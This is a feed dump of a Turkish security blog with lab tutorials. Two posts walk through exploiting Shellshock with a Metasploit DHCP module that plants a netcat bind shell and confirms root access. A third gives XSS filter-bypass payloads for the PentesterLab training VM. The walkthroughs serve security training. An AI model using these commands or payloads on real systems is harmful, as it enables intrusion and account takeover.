penetration testing arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:50:39 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png penetration testing arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 EN | How to Hack the Shellshock Vulnerability with Metasploit Framework https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/ https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/#respond Thu, 04 Feb 2016 00:48:16 +0000 http://canyoupwn.me/?p=301 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Shellshock?  Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash […]

EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Shellshock? 

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

How to use?

  • Start the Metasploit Framework;
msfconsole
  • Search exploit;
search shellshock
  • Run the exploit;
use auxiliary/server/dhclient/dhclient_bash_env
  • We need these parameters “CMD” , “SRVHOST” VE “NETMASK”;
info
  • To view options;
show options
  • Set the DHCP server IP. This is the SRVHOST parameter;
set SVRHOST 192.168.131.61
  • Set the CMD;
set CMD /bin/nc -l -p6996 -e /bin/sh
  •  Set the NETMASK;
set NETMASK 255.255.255.0
  • Run the module;
exploit
  • Connect to the Exploited System;
c::\nc 192.168.131.61 6996
  • Returns the network settings of the exploited Linux system;
ifconfig
  • Confirm the privilage;
    whoami

 

EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/feed/ 0
TR | Metasploit Framework Yardımı ile Shellshock Zafiyetinden Yararlanma https://canyoupwn.me/tr-how-to-hack-the-shellshock-vulnerability/ https://canyoupwn.me/tr-how-to-hack-the-shellshock-vulnerability/#respond Thu, 04 Feb 2016 00:20:31 +0000 http://canyoupwn.me/?p=249 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Shellshock Nedir? Linux sistemlerde bash kabuğunda fark edilen güvenlik açığıdır. Nasıl Kullanılır? Metasploit Framework ü çalıştıyoruz; msfconsole Exploit i arıyoruz; search shellshock Exploit i yüklüyoruz. use auxiliary/server/dhclient/dhclient_bash_env Exploit için gerekli paremetlereler “CMD” , “SRVHOST” VE “NETMASK”. Bunları eğer görüntülemek istersek; info Seçenekleri görüntüleyip parametreleri düzenleme aşamasına geçersek; show options DHPC sunucu ip adresini değişmek için; […]

TR | Metasploit Framework Yardımı ile Shellshock Zafiyetinden Yararlanma Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Shellshock Nedir?

Linux sistemlerde bash kabuğunda fark edilen güvenlik açığıdır.

Nasıl Kullanılır?

  • Metasploit Framework ü çalıştıyoruz;
msfconsole
  • Exploit i arıyoruz;
search shellshock
  • Exploit i yüklüyoruz.
use auxiliary/server/dhclient/dhclient_bash_env
  • Exploit için gerekli paremetlereler “CMD” , “SRVHOST” VE “NETMASK”. Bunları eğer görüntülemek istersek;
info
  • Seçenekleri görüntüleyip parametreleri düzenleme aşamasına geçersek;
show options
  • DHPC sunucu ip adresini değişmek için;
set SVRHOST 192.168.131.61
  • CMD parametresini düzenlemek için;
set CMD /bin/nc -l -p6996 -e /bin/sh
  • Son parametremiz NETMASK için;
set NETMASK 255.255.255.0
  • Exploiti çalıştrmak için;
exploit
  • Çalıştırdıktan sonra durumu özet geçmek gerekirse hedefin CMD satırında Shellshock zafiyeti sayesinde root yetkisiyle “6996” nolu portla netcat yardımıyla bağlantı kurabiliriz. Exploitli sisteme bağlanmak için;
c::\nc 192.168.131.61 6996
  • Exploited Linux sistemin ayarlarına döndürmek için;
ifconfig

yapmamız yeterlidir.

  • Sistemdeki yetkimizi check etmek için;
whoami

yapıp root olup olmadığımızı doğrulayabiliriz.

TR | Metasploit Framework Yardımı ile Shellshock Zafiyetinden Yararlanma Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/tr-how-to-hack-the-shellshock-vulnerability/feed/ 0
TR | [PentesterLab] Web For Pentester (XSS) https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/ https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/#respond Wed, 03 Feb 2016 17:15:33 +0000 http://canyoupwn.me/?p=165 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PentesterLab – Web for Pentester’ı https://pentesterlab.com/exercises/web_for_pentester bağlantısını kullanarak indirebilir ve sanal bir bilgisayar olarak kurabilirsiniz. XSS (Cross Site Scripting) HTML kodları arasında istemci tabanlı kod eklenmesi yoluyla kullanıcının tarayıcısında istenilen kodun çalıştırılabilmesi olarak tanımlanıyor. XSS zafiyeti genellikle Javascript betik dili kullanılarak exploit edilir çünkü en temel HTML sayfalar içinde bile en rahat çalıştırılabilecek betik dil […]

TR | [PentesterLab] Web For Pentester (XSS) Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PentesterLab – Web for Pentester’ı https://pentesterlab.com/exercises/web_for_pentester bağlantısını kullanarak indirebilir ve sanal bir bilgisayar olarak kurabilirsiniz.

webforpentester1

XSS (Cross Site Scripting)

HTML kodları arasında istemci tabanlı kod eklenmesi yoluyla kullanıcının tarayıcısında istenilen kodun çalıştırılabilmesi olarak tanımlanıyor. XSS zafiyeti genellikle Javascript betik dili kullanılarak exploit edilir çünkü en temel HTML sayfalar içinde bile en rahat çalıştırılabilecek betik dil Javascriptdir, tarayıcılar xss saldırısında kullanılan kodların sistemde bulunan bir script olup olmadığını bilemez.

XSS zafiyetlerinde saldırı senaryoları değişir ancak genel amaç sistemde yetki sahibi yada hedef kullanıcının hesap bilgilerini ele geçirmektir.

XSS zafiyetleri genellikle URL üzerindeki string yada integer değer taşıyan değişkenlerin bulunduğu bağlantılarda ve arama, login, iletişim için kullanılan formlarda tespit edilir.

XSS zafiyeti kendi içerisinde 3 e ayrılmaktadır.

1 – Reflected XSS

Bu tür xss zafiyetlerinde kodlar kalıcı olarak çalıştırılmaz, bu tür zafiyeti sömürmek için hedef üzerinde zararlı bağlantının çalıştırılması gerekir. Zafiyetin sömürüleceği javascript kodlarının bulunduğu bağlantı hedefe gönderilir ve hedefin bağlantıyı açması beklenir.

2- Stored XSS

Bu tür xss zafiyetlerinde sisteme zararlı javascript kodları eklenilmesi mümkündür, bir ziyaretçi defteri formunda bu zafiyetin bulunması durumunda ziyaretçi defterine eklenen yorumlar veritabanına kayıt edilmektedir ve ziyaretçi defteri her görüntülendiğinde bu bilgiler veritabanından çekilerek gösterilmektedir, bu durumda veritabanına eklenen zararlı javascript kodları da ziyaretçi defteri her görüntülenmek istendiğinde çalıştırılacaktır.

3- DOM XSS

DOM; HTML taglarının genel adıdır. Bu tür XSS zafiyetinde javascript ile HTML taglarının özellikleri, değerleri vs. değiştirilebilmektedir. Reflected XSS türünde olduğu gibi sadece bağlantıyı açan istemciler saldırıdan etkilenir.

 

XSS | Example 1

xss1

İlk örnekte URL’de ki name parametresnin aldığı değerin ekrana bastırıldığını görüyoruz, h4yuc3 olarak değiştirelim.

xss1-2

Şimdi bu parametre üzerinden javascript kodlarını çalıştıralım.

xss1-3

Hiç bir filtreleme yapılmadan doğrudan javascript kodlarının çalıştırıldığını görüyoruz.

Payload : <script>alert(‘CanYouPwnMe’)</script>

 

XSS | Example 2

xss2-1

2. örnekte de name parametresnin aldığı değer ekrana yazdırılıyor.

xss2-2

yine aynı payloadı kullanmak istediğimizde bu kez <script> </script> taglarının silindiğini ve geriye kalan değerin ekrana bastırıldığını görüyoruz… Belli ki bir filtre uygulanmış ve <script> ve </script> filtreye eklenmiş ancak büyük, küçük harf duyarlılığı düşünülmüş mü kontrol edelim.

xss2-3

Tam tahmin ettiğimiz gibi büyük harfler filtreye eklenmemiş.

Payload : <SCRIPT>alert(‘CanYouPwnMe’)</SCRIPT>

XSS | Example 3

3. öernekte sistem yine aynı şekilde name parametresinin değerini ekrana basıyor.

xss3-1

yine büyük harfler ile script tagları eklediğimizde bu kez büyük harflerinde filtreye eklendiğini görüyoruz. Ancak sistem şuan gördüğü ilk <script>, <SCRIPT>, </script>, </SCRIPT> taglarını kaldırıyor,  yukarıdaki <SCRIPT> ve </SCRIPT> taglarının arasına birer tane daha <script> ve </script> eklersek sistem ilk gördüklerini kaldıracak birer tane daha kalacaktır.

xss3-2

Payload : <SC<script>RIPT>alert(‘CanYouPwnMe’)</SC</script>RIPT>

 

XSS | Example 4

4. örnekte yine name parametresinin değeri ekrana bastırılıyor ancak değerin herhangi bir yerinde script kelimesi geçerse ekrana bastırılması gereken değer değil “error” mesajı bastırılıyor.

xss4-1

anlaşılan script tagını kullanamayacağız, farklı bir html tagı arasında javascript çalıştırmamız gerekiyor. <img> Tagını kullanmayı deniyoruz.

<img src=”javascript:alert(‘CanYouPwnMe’)”></img>

yukarıdaki payloadı kullanmayı denediğimizde “javascript” kelimesinin de filtreye takıldığını fark ediyoruz, yine “error” mesajı alıyoruz. Aldığımız mesaj aslında bizim için ipucu niteliği taşıyor 🙂 javascriptin onerror olayını kullanarak alert almayı deneyeceğiz.

<img src=onerror=”alert(‘CanYouPwnMe’)”></img>

Yukarıda ki payloadı kullanmayı denediğimizde artık error mesajından kurtulduk ancak alert alamadık.

xss4-2

Hello yazısının yanında image oluştuğunu görebiliyorz ve bu görseli sürükleyip yeni bir sekmeye bıraktığımızda src parametresinde verdiğimiz değerin URL oluşturduğunu ve bu durumun işimizi bozduğunu görüyoruz verdiğimiz bağlantının başına bir dizin için slash ve boşluk koyuyoruz.

Burada alert kodunun tetiklenme sebebine değinecek olursak özetle, image kaynağında verdiğimiz dizinde bir resim bulunamaması HTML tarafından hata olarak algılanıyor ve bu durumda onerror olayı tetikleniyor.

xss4-3

Payload : <img src=/ onerror=”alert(‘CanYouPwnMe’)”></img>

XSS | Example 5

4. örnek yine aynı şekilde devam ediyor, name parametresinin değeri ekrana bastırılıyor.

Bu örnekte alert almak istediğimizde ekrana error mesajı bastırılıyor.

xss5-1

Bunun sebebinin ne olduğunu anlayabilmek için kullandığımız tagları, kelimeleri, işaretleri … teker teker kaldırarak inceliyoruz.

xss5-2

En son <script> <script> taglarının çalıştığını hataya sebep olan kelimenin “alert” olduğunu anlıyoruz, alert yerine prompt kullanacağız.

xss5-3

Payload : <script>prompt(‘CanYouPwnMe’)</script>

XSS | Example 6

6. örnekte de name parametresine değer giriyoruz ancak bu ekrana bastırılmıyor, Değeri değiştirdikten sonra neler olduğunu daha iyi anlayabilmek için FireBug aracı ile kaynağı inceliyoruz.

xss6-1

Mevcut bir script tagının olduğunu görüyoruz, bu script tagını kapatıp kendimizinkini açalım.

xss6-2

Payload : </script><script>alert(‘CanYouPwnMe’)</script>

XSS | Example 7

Bu örnekte değeri değiştirdikten sonra Firebug ile kaynağı incelediğimizde mevcut script taglarını görüyoruz ve girdiğimiz değer script içerisinde bir değişkene atanıyor.

xss7-1

ancak bir önceki örnekte ki gibi mevcut script tagını kapatıp kendi tagımızı açmak istediğimizde < > işaretleri encode ediliyor ve bu durumda kod içerisinde satır yapısının bozulmasına sebep oluyor, aşağıdaki ekran görüntüsünde noktalı virgüllerden bunu anlayabileceksiniz.

xss7-2

Bu durumda yapmamız gereken, mevcut tagı kapatmadan bu script tagları arasında javascript kodumuzu çalıştırmak olacak. İlk önce sistemin çalışma şeklini analiz edelim;

var $a = ‘ Gireceğimiz Değer ‘; yani biz iki tırnak arasında işlem yapıyoruz, bu durumda yapmamız gereken ilk şey, açılmış olan tırnağı kapatmak ve sonrasında satırı sonlandırmak ( ‘ ; ) daha sonra alert kodumuzu eklemek, satırı sonlandırmak ve girdiğimiz değerden sonra tırnağı kapatmak için otomatik gelecek olan tırnağın önüne bir tırnak açmak ( alert(‘CanYouPwnMe’);’ )

xss7-3

Başarılı şekilde alert aldık, yukarıda bahsettiklerimin daha net anlaşılması için bu haldeyken kaynağı inceleyelim.

xss7-4

Payload : ‘;alert(‘CanYouPwnMe’);’

 

XSS | Example 8

Bu örnekte durum biraz değişiyor, artık URL üzerinde bir parametreye değil HTML form üzerinde bir text alanına değer girişi yapacağız.

xss8-1

Basit bir şekilde alert almayı denediğimizde ise HTML taglarının encode şekilde işlendiğini ve HTML olarak çalıştırılmadığını görebiliyoruz.

xss8-2

Formun kaynağını incelediğimizde girdiğimiz değerin tekrar /xss/example8.php bağlantısına post edildiğini ve bu sayfada işlendiğini görebiliyoruz.

xss8-3

xss8-4

Bu durumda ilk deneyeceğimiz şey <form …. > tagının içerisinde script çalıştırmayı denemek olmalı, bunu yapabilmek için girdiğimiz değerde bu dizini sonlandırıp ( / ) action=”….” parametresini kapatıp ( ) son olarak form tagınıda kapattıktan ( > ) sonra script kodlarımızı eklemek.

xss8-5

xss8-6

Payload : /”><script>alert(‘CanYouPwnMe’)</script>

 

XSS | Example 9

xss9-1

Son XSS Örneğinde …/xss/example9.php#hacker şeklinde bir URL ve ekranda bir “hacker” çıktısı ile karşılaşıyoruz, belli ki # işaretinden sonra gelen değeri ekrana bastıran bir sistem var ancak değeri değiştirdiğimizde ekrana bastırılmadığını fark ediyoruz.

xss9-2

bunun sebebi ne olabilir diye düşünecek olursak tabii ki sistem dinamik şekilde çalışıyor yani DOM XSS zafiyeti ile karşı karşıyayız. Değeri değiştirdikten sonra sayfayı yenilediğimizde bunu rahatlıkla fark edebiliyoruz.

xss9-3

XSS payloadımızı # işaretinden sonrasına ekliyoruz ve alertı görebilmek için sayfayı bir kere yenilememiz yeterli oluyor.

xss9-4

Payload : <script>alert(‘CanYouPwnMe’)</script>
&
Refresh

TR | [PentesterLab] Web For Pentester (XSS) Hakkı YÜCE

]]>
https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/feed/ 0